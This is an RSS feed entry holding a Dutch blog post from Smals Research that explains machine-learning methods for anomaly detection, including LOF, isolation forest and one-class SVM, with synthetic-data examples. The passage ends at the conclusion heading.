<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Machine Learning &#8211; Smals Research</title>
	<atom:link href="https://www.smalsresearch.be/tag/machine-learning/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.smalsresearch.be</link>
	<description></description>
	<lastBuildDate>Mon, 06 Jul 2026 17:08:27 +0000</lastBuildDate>
	<language>en-GB</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0</generator>

<image>
	<url>https://www.smalsresearch.be/wp-content/uploads/2026/01/cropped-cropped-Smals_Research-32x32.png</url>
	<title>Machine Learning &#8211; Smals Research</title>
	<link>https://www.smalsresearch.be</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Anomaliedetectie: wanneer machine learning het ongewone opspoort</title>
		<link>https://www.smalsresearch.be/anomaliedetectie-machine-learning/</link>
		
		<dc:creator><![CDATA[Pierre Leleux]]></dc:creator>
		<pubDate>Wed, 17 Jun 2026 06:00:00 +0000</pubDate>
				<category><![CDATA[[NL]]]></category>
		<category><![CDATA[Blog post]]></category>
		<category><![CDATA[Data Mining]]></category>
		<category><![CDATA[Machine Learning]]></category>
		<guid isPermaLink="false">https://www.smalsresearch.be/?p=29678</guid>

					<description><![CDATA[Deze blogpost gaat in op het probleem van het opsporen van anomalieën in gegevens en heeft tot doel oplossingen te presenteren die gebaseerd zijn op een machine learning-benadering.]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph"><em><a href="https://www.smalsresearch.be/detection-anomalies-machine-learning/">Version en Français</a></em></p>



<h1 class="wp-block-heading">Inleiding</h1>



<p class="wp-block-paragraph">Detectie van anomalieën (ook wel ‘<em>outliers</em>’ of ‘afwijkende waarden’ genoemd) is een veelvoorkomend probleem binnen data science en machine learning. Dit opsporen wordt vaak gezien als een eenvoudige voorbereidende taak, maar kan ook prima het einddoel van de toepassing zijn:</p>



<ul class="wp-block-list">
<li>Als <strong>voorbereidende taak</strong> vindt de detectie plaats tijdens de verkennende analyse, om problemen met ‘<em>garbage in, garbage out</em>’ te beperken. Het doel is hier dus om deze anomalieën te corrigeren of te verwijderen om te voorkomen dat ze worden gebruikt tijdens de trainingsfase van het voorspellende model, omdat dit de prestaties ervan negatief zou kunnen beïnvloeden.</li>



<li>Als <strong>hoofdtaak</strong> kan het opsporen van waarnemingen met afwijkende profielen bijvoorbeeld dienen om frauduleuze activiteiten, fouten of zelfs inbraken op te sporen (IDS: <em>Intrusion Detection System</em>) [<a href="#footnote-1">1</a>].</li>
</ul>



<p class="wp-block-paragraph">Het opsporen van anomalieën is dus een zeer belangrijke taak die in tal van domeinen veel toepassingen kent [<a href="#footnote-1">1</a>], en tot doel heeft waarnemingen te vinden die niet in overeenstemming zijn met de rest van de gegevens [<a href="#footnote-2">2</a>].</p>



<p class="wp-block-paragraph">Deze blogpost gaat in op het probleem van het opsporen van anomalieën in gegevens en heeft tot doel oplossingen te presenteren die gebaseerd zijn op een <em>machine learning</em>-benadering.</p>



<p class="wp-block-paragraph">Opmerkelijk is ook dat, hoewel deze twee gebieden met elkaar verband houden, anomaliedetectie verschilt van tools voor datakwaliteit (<em>data quality</em>) zoals Trillium en Open Refine. Bij <em>data quality</em> ligt de nadruk op het opsporen van problemen met incomplete/ongeldige gegevens aan de hand van regels, terwijl anomaliedetectie erop gericht is zeldzame/ongebruikelijke patterns te identificeren (die afwijken van de ‘norm’), maar die vanuit het oogpunt van <em>data quality</em> niet per se ongeldig zijn.</p>



<h1 class="wp-block-heading">Verschillende soorten anomalieën</h1>



<p class="wp-block-paragraph">Voordat we ingaan op de tools voor het opsporen van anomalieën, zullen we eerst de verschillende soorten anomalieën definiëren die kunnen worden gedetecteerd. In de literatuur wordt vaak uitgegaan van drie soorten anomalieën [<a href="#footnote-3">3</a>]&nbsp;:</p>



<ul class="wp-block-list">
<li><strong><strong>De incidentele anomalie</strong></strong></li>
</ul>



<p class="wp-block-paragraph">Dit is de eenvoudigste vorm van anomalieën: een individueel geval dat als afwijkend wordt beschouwd ten opzichte van de rest van de gegevens.</p>



<p class="wp-block-paragraph">Deze anomalieën worden soms nog onderverdeeld in twee subcategorieën: <strong>globale</strong> (die significant verschillen van de rest van de gegevens) en <strong>lokale</strong> anomalieën (die verschillen van de directe omgeving). Illustratief voorbeeld:</p>



<figure class="wp-block-image aligncenter size-full" id="fig1"><a href="https://www.smalsresearch.be/wp-content/uploads/2026/05/LOF_Anomaly_Example.png"><img fetchpriority="high" decoding="async" width="380" height="341" src="https://www.smalsresearch.be/wp-content/uploads/2026/05/LOF_Anomaly_Example.png" alt="" class="wp-image-29458" srcset="https://www.smalsresearch.be/wp-content/uploads/2026/05/LOF_Anomaly_Example.png 380w, https://www.smalsresearch.be/wp-content/uploads/2026/05/LOF_Anomaly_Example-300x269.png 300w" sizes="(max-width: 380px) 100vw, 380px" /></a></figure>



<p class="is-style-text-annotation is-style-text-annotation--1 wp-block-paragraph">Figuur 1: Voorbeeld van lokale en globale anomalieën (afbeelding uit [<a href="#footnote-4"><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-accent-3-color">4</mark></a>])</p>



<p class="wp-block-paragraph">In figuur 1 zijn twee anomalieën te zien: o<sub>1</sub>, een globale anomalie die sterk verschilt van de andere waarnemingen, en o<sub>2</sub>, een lokale anomalie ten opzichte van de omgeving (de C2-groep).</p>



<ul class="wp-block-list">
<li><strong><strong>De contextuele anomalie</strong></strong></li>
</ul>



<p class="wp-block-paragraph">Een anomalie wordt als ‘contextueel’ beschouwd als deze in een andere context als normaal kan worden beschouwd. Neem bijvoorbeeld neerslag: een bepaald neerslagniveau dat op een bepaalde plek abnormaal is, kan op een andere plek heel goed als normaal worden beschouwd. We hebben hier dus twee soorten kenmerken: <strong>contextuele kenmerken</strong> die de context bepalen (vaak temporele of ruimtelijke kenmerken) en <strong>gedragsmatige kenmerken</strong> waarin we naar anomalieën zoeken (in ons voorbeeld: de neerslag).</p>



<ul class="wp-block-list">
<li><strong><strong>Collectieve anomalie/groepsanomalie</strong></strong></li>
</ul>



<p class="wp-block-paragraph">In deze laatste categorie gaat het niet langer om een individuele anomalie, maar om een reeks anomalieën die een groep vormen met ongebruikelijke kenmerken.</p>



<h1 class="wp-block-heading">Detectiemethodes</h1>



<p class="wp-block-paragraph">Vaak (en vooral wanneer het gaat om een eenvoudige voorbereidende taak als <em>data cleansing</em>) gebeurt het opsporen van anomalieën in de gegevens eenvoudigweg met behulp van statistische tools (bijvoorbeeld door gebruik te maken van standaardanomalieën, kwantielen of statistische toetsen). In dit artikel gaan we niet in op deze statistische benaderingen, maar richten we ons op <em>machine learning</em>-benaderingen voor het opsporen van anomalieën.</p>



<h2 class="wp-block-heading">Welk soort <em>learning</em>?</h2>



<p class="wp-block-paragraph">Er zijn hoofdzakelijk twee benaderingen om anomalieën op te sporen: methoden op basis van <em>supervised learning</em> (begeleid leren) en methoden op basis van <em>unsupervised learning</em> (onbegeleid leren). Ter herinnering: bij <em>supervised learning</em> wordt gebruikgemaakt van gelabelde data. Dit vereist dat er, naast de data, ook voorbeelden zijn van eerder geïdentificeerde anomalieën, zodat het detectiemodel kan leren deze te onderscheiden van normale data. Omgekeerd is <em>unsupervised learning</em> volledig gebaseerd op de data en vereist het geen set van vooraf geïdentificeerde anomalieën.</p>



<p class="wp-block-paragraph">In het kader van dit artikel gaan we de <strong><em>unsupervised</em> benaderingen</strong> verkennen. Deze hebben namelijk een interessant kenmerk ten opzichte van de <em>supervised</em> modellen (naast het feit dat ze geen gelabelde gegevens vereisen): het ontdekken van nieuwe vormen van anomalieën.</p>



<p class="wp-block-paragraph">Een <em>supervised</em> model zal namelijk de neiging hebben om anomalieën te identificeren die kenmerken vertonen die vergelijkbaar zijn met die van de gelabelde anomalieën. Daarom is het, zelfs wanneer er gelabelde gegevens beschikbaar zijn, vaak interessant om een <em>supervised</em> model – getraind om bepaalde vooraf gedefinieerde anomalieprofielen nauwkeuriger te detecteren – te koppelen aan een <em>unsupervised</em> model, dat mogelijk anomalieën met totaal andere profielen kan opsporen.</p>



<h2 class="wp-block-heading">Enkele klassieke algoritmes voor het opsporen van anomalieën</h2>



<p class="wp-block-paragraph">Voordat we beginnen, zullen we algoritmen voor het opsporen van anomalieën in twee categorieën indelen: <strong>detectoren</strong> en <strong>detectiemodellen</strong>. Een detectiemodel bouwt, zoals de naam al aangeeft, een model op dat op zichzelf kan worden gebruikt: als we bijvoorbeeld een nieuwe waarneming hebben, kunnen we die gewoon in het model invoeren om te beoordelen of het om een anomalie gaat. Een detector daarentegen heeft geen getraind model dat later kan worden gebruikt: als er een nieuwe waarneming binnenkomt, moet deze opnieuw in de context worden geplaatst door deze tussen de andere gegevens te plaatsen, of zelfs het detectieproces van anomalieën volledig opnieuw starten.</p>



<h3 class="wp-block-heading">Detectoren zonder modellen</h3>



<p class="wp-block-paragraph">Een eerste intuïtieve benadering om te bepalen of een waarneming een anomalie is of niet, is gebaseerd op het idee dat een anomalie de neiging heeft om ver van zijn buren te liggen. Door dus de gemiddelde <strong>afstand</strong> (bijvoorbeeld de Euclidische afstand) te meten tussen een waarneming en zijn <em>k</em> dichtstbijzijnde buren (<em>k</em>-NN), of simpelweg de afstand tussen een waarneming en zijn <em>k</em>-de dichtstbijzijnde buur (<em>k</em>th-NN) [<a href="#footnote-5">5</a>], kan men het risico inschatten dat een waarneming een anomalie is: als de waarneming ver van de andere ligt, kan men aannemen dat het om een anomalie gaat.</p>



<p class="wp-block-paragraph">Deze op afstand gebaseerde benadering heeft het voordeel dat ze intuïtief, eenvoudig te implementeren en te interpreteren is, maar ze stuit al snel op haar grenzen. Als we het voorbeeld uit <a href="#fig1">Figuur 1</a>,&nbsp;nog eens bekijken, zien we dat alle waarnemingen van cluster C1 verder van elkaar verwijderd zijn dan o<sub>2</sub> van de waarnemingen van C2. Resultaat: een op afstand gebaseerd algoritme zal anomalie o<sub>1</sub> gemakkelijk vinden, maar o<sub>2</sub> niet. Een zeer bekende alternatieve benadering, de <strong><em>Local Outlier Factor</em></strong> (LOF) [<a href="#footnote-4">4</a>] is gebaseerd op <strong>dichtheid</strong> in plaats van op <strong>afstand</strong>. Hiermee kunnen gevallen worden behandeld waarin de gegevens clusters bevatten (C1 en C2 in <a href="#fig1">Figuur 1</a>) die niet dezelfde dichtheid hebben.</p>



<p class="wp-block-paragraph">Het idee is als volgt: kijken of de dichtheid rond een waarneming consistent is met de dichtheid van de <em>k</em> dichtstbijzijnde buren. Als we dus een waarneming nemen die deel uitmaakt van groep C1, is de dichtheid rond deze waarneming consistent met de dichtheid rond haar naaste buren, terwijl voor waarneming o2 de dichtheid rond o2 verschilt van de dichtheid rond haar naaste buren binnen C2. Het LOF-algoritme bestaat er dus in anomalieën te detecteren door na te gaan of hun dichtheid consistent is met de dichtheid van hun lokale omgeving.</p>



<p class="wp-block-paragraph">Een laatste type detector dat we zullen bekijken, is gebaseerd op het <strong>clusteren van gegevens</strong> (clustering). Het bekende doel van clustering is het opsporen van groepen waarnemingen met vergelijkbare kenmerken. Dit maakt het met name mogelijk om:</p>



<ul class="wp-block-list">
<li>Te zoeken naar een waarneming die ver van het zwaartepunt van haar cluster ligt, of die zich in een microcluster bevindt die slechts één waarneming bevat (een incidentele anomalie).</li>



<li>Zoeken naar abnormale clusters (collectieve anomalieën).</li>
</ul>



<p class="wp-block-paragraph">Jiang et al. [<a href="#footnote-6">6</a>] stellen bijvoorbeeld voor om de gegevens op te splitsen en vervolgens de ‘<em>outlier factor</em>’ van elke cluster te berekenen (gebaseerd op de afstand tussen die cluster en de andere), om zo clusters van anomalieën te vinden. He et al.&nbsp;[<a href="#footnote-7">7</a>] stellen het FindCBLOF-algoritme (CBLOF: <em>cluster-based local outlier factor</em>) voor, dat de gegevens opdeelt en vervolgens naar anomalieën zoekt door zowel de grootte van de clusters (te kleine clusters kunnen collectieve anomalieën vertegenwoordigen) als de afstanden tussen de waarnemingen en de zwaartepunten van de clusters te gebruiken.</p>



<h3 class="wp-block-heading">Detectiemodellen</h3>



<p class="wp-block-paragraph">Nu we modelvrije benaderingen hebben bekeken, gaan we kort verder met modelgebaseerde benaderingen voor het opsporen van anomalieën. Dit hoofdstuk zal vrij kort zijn en slechts twee van de bekendste modellen behandelen: de ‘<em>isolation forest’</em> en de <em>‘one-class SVM</em>’.</p>



<p class="wp-block-paragraph"><strong><em>Isolation forest</em> </strong>[<a href="#footnote-8">8</a>] is gebaseerd op het principe dat een anomalie, omdat deze ongebruikelijke kenmerken vertoont, gemakkelijker te isoleren zou moeten zijn dan een normale waarneming.</p>



<p class="wp-block-paragraph">Het idee is simpel: we kiezen willekeurig een variabele en een waarde (bijvoorbeeld: leeftijd (variabele) en 21.3 (waarde)), en gebruiken die om de gegevens in twee subgroepen (takken) te verdelen. Elk van deze groepen wordt vervolgens op willekeurige wijze onderverdeeld in subgroepen, die op hun beurt weer worden onderverdeeld, enzovoort, op recursieve wijze, waardoor een willekeurig opgebouwde <strong>beslissingsboom</strong> (<em>decision tree</em>) ontstaat, die een <strong><em>isolation tree</em></strong> wordt genoemd.</p>



<figure class="wp-block-image aligncenter size-large"><a href="https://www.smalsresearch.be/wp-content/uploads/2026/05/IsolationTreeFull.png"><img decoding="async" width="1024" height="654" src="https://www.smalsresearch.be/wp-content/uploads/2026/05/IsolationTreeFull-1024x654.png" alt="" class="wp-image-29457" srcset="https://www.smalsresearch.be/wp-content/uploads/2026/05/IsolationTreeFull-1024x654.png 1024w, https://www.smalsresearch.be/wp-content/uploads/2026/05/IsolationTreeFull-300x192.png 300w, https://www.smalsresearch.be/wp-content/uploads/2026/05/IsolationTreeFull-768x491.png 768w, https://www.smalsresearch.be/wp-content/uploads/2026/05/IsolationTreeFull.png 1075w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure>



<p class="is-style-text-annotation is-style-text-annotation--2 wp-block-paragraph">Figuur 2: Illustratief voorbeeld van een isolation tree</p>



<p class="wp-block-paragraph">Tijdens de ontwikkeling van de boom wordt een groep niet meer in subgroepen opgesplitst zodra deze nog maar één waarneming bevat. Een <em>Isolation Forest</em> bestaat dus uit een groot aantal van deze willekeurige bomen, met het idee dat een normale waarneming moeilijker te isoleren zou moeten zijn (en dus gemiddeld meer willekeurige verdelingen van de ruimte zou vereisen) dan een anomalie (zie Figuur 3).</p>



<div class="wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-3a88641f wp-block-group-is-layout-flex">
<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-3 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-large"><a href="https://www.smalsresearch.be/wp-content/uploads/2026/05/Isolating_a_Non-Anomalous_Point.png"><img decoding="async" width="602" height="400" data-id="29455" src="https://www.smalsresearch.be/wp-content/uploads/2026/05/Isolating_a_Non-Anomalous_Point.png" alt="" class="wp-image-29455" srcset="https://www.smalsresearch.be/wp-content/uploads/2026/05/Isolating_a_Non-Anomalous_Point.png 602w, https://www.smalsresearch.be/wp-content/uploads/2026/05/Isolating_a_Non-Anomalous_Point-300x199.png 300w" sizes="(max-width: 602px) 100vw, 602px" /></a></figure>



<figure class="wp-block-image size-large"><a href="https://www.smalsresearch.be/wp-content/uploads/2026/05/Isolating_an_Anomalous_Point.png"><img loading="lazy" decoding="async" width="602" height="400" data-id="29456" src="https://www.smalsresearch.be/wp-content/uploads/2026/05/Isolating_an_Anomalous_Point.png" alt="" class="wp-image-29456" srcset="https://www.smalsresearch.be/wp-content/uploads/2026/05/Isolating_an_Anomalous_Point.png 602w, https://www.smalsresearch.be/wp-content/uploads/2026/05/Isolating_an_Anomalous_Point-300x199.png 300w" sizes="auto, (max-width: 602px) 100vw, 602px" /></a></figure>
</figure>
</div>



<p class="is-style-text-annotation is-style-text-annotation--4 wp-block-paragraph">Figuur 3: Voorbeeld van het isoleren van een normale waarneming (x<sub>i</sub>) en een afwijkende waarneming (x<sub>j</sub>) (afbeelding uit [<a href="#footnote-9">9</a>])</p>



<p class="has-text-align-left wp-block-paragraph">Om te bepalen of een waarneming een mogelijke anomalie is, volstaat het om te kijken op welke diepte deze in de verschillende bomen geïsoleerd is. Anomalieën zouden gemiddeld genomen vrij dicht bij de top van de bomen moeten staan, omdat ze makkelijker te isoleren zijn.</p>



<p class="wp-block-paragraph"><strong>De <em>One-Class Support Vector Machine</em></strong> (OCSVM) [<a href="#footnote-10">10</a>] is het tweede detectiemodel waar we in dit artikel naar gaan kijken. Merk op dat het algoritme dat aan de basis ligt van de OCSVM aanzienlijk minder intuïtief en gemakkelijker uit te leggen is dan <em>isolation forest</em>. We zullen dus niet uitgebreid ingaan op de werking ervan. We zullen het echter toch kort toelichten, omdat het een bekend klassiek model is voor detectie van anomalieën.</p>



<p class="wp-block-paragraph">OCSVM probeert het gebied te vinden waar de gegevens dicht bij elkaar liggen, en de punten buiten dit gebied als afwijkend te beschouwen. Het doel van OCSVM is om de vorm van de ‘normaliteit’ te leren, om zo een grens te bepalen die de normale waarnemingen van de anomalieën scheidt. Het bijzondere aan het OCSVM-algoritme is dat het, in plaats van direct de kenmerken (<em>features</em>) van de waarnemingen te gebruiken om de grens tussen normale en abnormale waarnemingen te bepalen, de waarnemingen projecteert in een getransformeerde ruimte, waardoor complexe grenzen tussen normale en abnormale gegevens kunnen worden getrokken.</p>



<h1 class="wp-block-heading">Illustratief voorbeeld</h1>



<p class="wp-block-paragraph">Om de opsporing van anomalieën te illustreren, hebben we artificiële gegevens in twee dimensies gegenereerd, bestaande uit:</p>



<ul class="wp-block-list">
<li>‘Normale’ gegevens: gegenereerd volgens een normale verdeling.</li>



<li>Anomalieën: willekeurig gegenereerd volgens een uniforme verdeling.</li>
</ul>



<p class="wp-block-paragraph">De normale gegevens en de anomalieën zijn door elkaar gemengd en we hebben daarop drie algoritmen voor het opsporen van anomalieën toegepast (OCSVM, <em>Isolation Forest</em> en LOF). De resultaten zijn te zien in de figuren 4 &#8211; 6:</p>



<ul class="wp-block-list">
<li>Figuur 4: Een enkele groep van normale waarnemingen;</li>



<li>Figuur 5: Twee groepen normale waarnemingen die licht uit elkaar liggen</li>



<li>Figuur 6: Twee groepen normale waarnemingen die ver uit elkaar liggen</li>
</ul>



<p class="wp-block-paragraph">In elk van deze grafieken worden normale waarnemingen in het wit weergegeven en anomalieën in het zwart, zodat ze visueel gemakkelijk van elkaar te onderscheiden zijn. Deze labels (normaal versus anomalie) zijn uiteraard niet aan de algoritmen meegedeeld, aangezien deze <em>unsupervised</em> draaien.</p>



<p class="wp-block-paragraph">Voor elk van deze drie algoritmen hebben we de grens die het algoritme gebruikt om normale gegevens van anomalieën te onderscheiden, in het rood gemarkeerd. De waarnemingen in de oranje zone (binnen de grens) worden door het algoritme als normaal beschouwd, en de waarnemingen in de blauwe zone worden als anomalieën beschouwd (lichtblauw: licht afwijkend; donkerblauw: sterk afwijkend).</p>



<div class="wp-block-group is-content-justification-center is-nowrap is-layout-flex wp-container-core-group-is-layout-82936891 wp-block-group-is-layout-flex">
<figure class="wp-block-image size-full"><a href="https://www.smalsresearch.be/wp-content/uploads/2026/05/OneGroup.png"><img loading="lazy" decoding="async" width="437" height="428" src="https://www.smalsresearch.be/wp-content/uploads/2026/05/OneGroup.png" alt="" class="wp-image-29399" srcset="https://www.smalsresearch.be/wp-content/uploads/2026/05/OneGroup.png 437w, https://www.smalsresearch.be/wp-content/uploads/2026/05/OneGroup-300x294.png 300w" sizes="auto, (max-width: 437px) 100vw, 437px" /></a><figcaption class="wp-element-caption"><p class="has-text-align-center">Originele gegevens</p></figcaption></figure>



<figure class="wp-block-image size-full"><a href="https://www.smalsresearch.be/wp-content/uploads/2026/05/OneGroup_SVM.png"><img loading="lazy" decoding="async" width="437" height="428" src="https://www.smalsresearch.be/wp-content/uploads/2026/05/OneGroup_SVM.png" alt="" class="wp-image-29398" srcset="https://www.smalsresearch.be/wp-content/uploads/2026/05/OneGroup_SVM.png 437w, https://www.smalsresearch.be/wp-content/uploads/2026/05/OneGroup_SVM-300x294.png 300w" sizes="auto, (max-width: 437px) 100vw, 437px" /></a><figcaption class="wp-element-caption"><p class="has-text-align-center">OCSVM</p></figcaption></figure>
</div>



<div class="wp-block-group is-content-justification-center is-nowrap is-layout-flex wp-container-core-group-is-layout-82936891 wp-block-group-is-layout-flex">
<figure class="wp-block-image size-full"><a href="https://www.smalsresearch.be/wp-content/uploads/2026/05/OneGroup_IF.png"><img loading="lazy" decoding="async" width="437" height="428" src="https://www.smalsresearch.be/wp-content/uploads/2026/05/OneGroup_IF.png" alt="" class="wp-image-29400" srcset="https://www.smalsresearch.be/wp-content/uploads/2026/05/OneGroup_IF.png 437w, https://www.smalsresearch.be/wp-content/uploads/2026/05/OneGroup_IF-300x294.png 300w" sizes="auto, (max-width: 437px) 100vw, 437px" /></a><figcaption class="wp-element-caption"><p class="has-text-align-center">Isolation Forest</p></figcaption></figure>



<figure class="wp-block-image size-full"><a href="https://www.smalsresearch.be/wp-content/uploads/2026/05/OneGroup_LOF.png"><img loading="lazy" decoding="async" width="437" height="428" src="https://www.smalsresearch.be/wp-content/uploads/2026/05/OneGroup_LOF.png" alt="" class="wp-image-29397" srcset="https://www.smalsresearch.be/wp-content/uploads/2026/05/OneGroup_LOF.png 437w, https://www.smalsresearch.be/wp-content/uploads/2026/05/OneGroup_LOF-300x294.png 300w" sizes="auto, (max-width: 437px) 100vw, 437px" /></a><figcaption class="wp-element-caption"><p class="has-text-align-center">LOF</p></figcaption></figure>
</div>



<p class="has-text-align-center is-style-text-annotation is-style-text-annotation--5 wp-block-paragraph">Figuur 4: Detectie van anomalieën met een groep normale gegevens</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<div class="wp-block-group is-content-justification-center is-nowrap is-layout-flex wp-container-core-group-is-layout-82936891 wp-block-group-is-layout-flex">
<figure class="wp-block-image size-full"><a href="https://www.smalsresearch.be/wp-content/uploads/2026/05/SplitGroup.png"><img loading="lazy" decoding="async" width="437" height="428" src="https://www.smalsresearch.be/wp-content/uploads/2026/05/SplitGroup.png" alt="" class="wp-image-29475" srcset="https://www.smalsresearch.be/wp-content/uploads/2026/05/SplitGroup.png 437w, https://www.smalsresearch.be/wp-content/uploads/2026/05/SplitGroup-300x294.png 300w" sizes="auto, (max-width: 437px) 100vw, 437px" /></a><figcaption class="wp-element-caption"><p class="has-text-align-center">Originele gegevens</p></figcaption></figure>



<figure class="wp-block-image size-full"><a href="https://www.smalsresearch.be/wp-content/uploads/2026/05/SplitGroup_SVM.png"><img loading="lazy" decoding="async" width="437" height="428" src="https://www.smalsresearch.be/wp-content/uploads/2026/05/SplitGroup_SVM.png" alt="" class="wp-image-29478" srcset="https://www.smalsresearch.be/wp-content/uploads/2026/05/SplitGroup_SVM.png 437w, https://www.smalsresearch.be/wp-content/uploads/2026/05/SplitGroup_SVM-300x294.png 300w" sizes="auto, (max-width: 437px) 100vw, 437px" /></a><figcaption class="wp-element-caption"><p class="has-text-align-center">OCSVM</p></figcaption></figure>
</div>



<div class="wp-block-group is-content-justification-center is-nowrap is-layout-flex wp-container-core-group-is-layout-82936891 wp-block-group-is-layout-flex">
<figure class="wp-block-image size-full"><a href="https://www.smalsresearch.be/wp-content/uploads/2026/05/SplitGroup_IF.png"><img loading="lazy" decoding="async" width="437" height="428" src="https://www.smalsresearch.be/wp-content/uploads/2026/05/SplitGroup_IF.png" alt="" class="wp-image-29476" srcset="https://www.smalsresearch.be/wp-content/uploads/2026/05/SplitGroup_IF.png 437w, https://www.smalsresearch.be/wp-content/uploads/2026/05/SplitGroup_IF-300x294.png 300w" sizes="auto, (max-width: 437px) 100vw, 437px" /></a><figcaption class="wp-element-caption"><p class="has-text-align-center">Isolation Forest</p></figcaption></figure>



<figure class="wp-block-image size-full"><a href="https://www.smalsresearch.be/wp-content/uploads/2026/05/SplitGroup_LOF.png"><img loading="lazy" decoding="async" width="437" height="428" src="https://www.smalsresearch.be/wp-content/uploads/2026/05/SplitGroup_LOF.png" alt="" class="wp-image-29477" srcset="https://www.smalsresearch.be/wp-content/uploads/2026/05/SplitGroup_LOF.png 437w, https://www.smalsresearch.be/wp-content/uploads/2026/05/SplitGroup_LOF-300x294.png 300w" sizes="auto, (max-width: 437px) 100vw, 437px" /></a><figcaption class="wp-element-caption"><p class="has-text-align-center">LOF</p></figcaption></figure>
</div>



<p class="is-style-text-annotation is-style-text-annotation--6 wp-block-paragraph">Figuur 5: Detectie van anomalieën met twee licht van elkaar gescheiden groepen normale gegevens</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<div class="wp-block-group is-content-justification-center is-nowrap is-layout-flex wp-container-core-group-is-layout-82936891 wp-block-group-is-layout-flex">
<figure class="wp-block-image size-full"><a href="https://www.smalsresearch.be/wp-content/uploads/2026/05/TwoGroups.png"><img loading="lazy" decoding="async" width="437" height="428" src="https://www.smalsresearch.be/wp-content/uploads/2026/05/TwoGroups.png" alt="" class="wp-image-29479" srcset="https://www.smalsresearch.be/wp-content/uploads/2026/05/TwoGroups.png 437w, https://www.smalsresearch.be/wp-content/uploads/2026/05/TwoGroups-300x294.png 300w" sizes="auto, (max-width: 437px) 100vw, 437px" /></a><figcaption class="wp-element-caption"><p class="has-text-align-center">Originele gegevens</p></figcaption></figure>



<figure class="wp-block-image size-full"><a href="https://www.smalsresearch.be/wp-content/uploads/2026/05/TwoGroups_SVM.png"><img loading="lazy" decoding="async" width="437" height="428" src="https://www.smalsresearch.be/wp-content/uploads/2026/05/TwoGroups_SVM.png" alt="" class="wp-image-29482" srcset="https://www.smalsresearch.be/wp-content/uploads/2026/05/TwoGroups_SVM.png 437w, https://www.smalsresearch.be/wp-content/uploads/2026/05/TwoGroups_SVM-300x294.png 300w" sizes="auto, (max-width: 437px) 100vw, 437px" /></a><figcaption class="wp-element-caption"><p class="has-text-align-center">OCSVM</p></figcaption></figure>
</div>



<div class="wp-block-group is-content-justification-center is-nowrap is-layout-flex wp-container-core-group-is-layout-82936891 wp-block-group-is-layout-flex">
<figure class="wp-block-image size-full"><a href="https://www.smalsresearch.be/wp-content/uploads/2026/05/TwoGroups_IF.png"><img loading="lazy" decoding="async" width="437" height="428" src="https://www.smalsresearch.be/wp-content/uploads/2026/05/TwoGroups_IF.png" alt="" class="wp-image-29480" srcset="https://www.smalsresearch.be/wp-content/uploads/2026/05/TwoGroups_IF.png 437w, https://www.smalsresearch.be/wp-content/uploads/2026/05/TwoGroups_IF-300x294.png 300w" sizes="auto, (max-width: 437px) 100vw, 437px" /></a><figcaption class="wp-element-caption"><p class="has-text-align-center">Isolation Forest</p></figcaption></figure>



<figure class="wp-block-image size-full"><a href="https://www.smalsresearch.be/wp-content/uploads/2026/05/TwoGroups_LOF.png"><img loading="lazy" decoding="async" width="437" height="428" src="https://www.smalsresearch.be/wp-content/uploads/2026/05/TwoGroups_LOF.png" alt="" class="wp-image-29481" srcset="https://www.smalsresearch.be/wp-content/uploads/2026/05/TwoGroups_LOF.png 437w, https://www.smalsresearch.be/wp-content/uploads/2026/05/TwoGroups_LOF-300x294.png 300w" sizes="auto, (max-width: 437px) 100vw, 437px" /></a><figcaption class="wp-element-caption"><p class="has-text-align-center">LOF</p></figcaption></figure>
</div>



<p class="is-style-text-annotation is-style-text-annotation--7 wp-block-paragraph">Figuur 6: Detectie van anomalieën met twee duidelijk gescheiden groepen normale gegevens</p>



<h1 class="wp-block-heading">Detectie evalueren</h1>



<p class="wp-block-paragraph">Het is geen eenvoudige opgave om de kwaliteit van de opsporing van anomalieën te kwantificeren. Laten we beginnen met het eenvoudigste geval: als we beschikken over vooraf geïdentificeerde anomalieën (labels). In deze gevallen kan een algoritme voor het opsporen van anomalieën worden gevalideerd door te controleren of het erin slaagt de reeds bekende anomalieën terug te vinden, met behulp van klassieke maatstaven (<em>recall, precision, F1-measure</em>, enz.).</p>



<p class="wp-block-paragraph">Zonder labels wordt het ingewikkelder. In dat geval moeten de door het algoritme geïdentificeerde waarnemingen handmatig worden gecontroleerd om te bevestigen of ze daadwerkelijk afwijkend zijn. Dit vereist niet alleen een goede kennis van het domein waaruit de gegevens afkomstig zijn, maar ook inzicht in<strong> waarom de waarneming door het algoritme als anomalie is geïdentificeerd.</strong> Aangezien er vaak een groot aantal variabelen in de gegevens zit en de grens (tussen normale en afwijkende gegevens) die door het algoritme wordt gebruikt doorgaans complex is, is het soms moeilijk te begrijpen waarom bepaalde waarnemingen door een algoritme als anomalieën zijn geïdentificeerd. Het kan dan nuttig zijn om verklaarbaarheidstools (bijvoorbeeld: SHAP, LIME) te gebruiken om de beslissingen van het algoritme te begrijpen.</p>



<h1 class="wp-block-heading">Conclusie</h1>



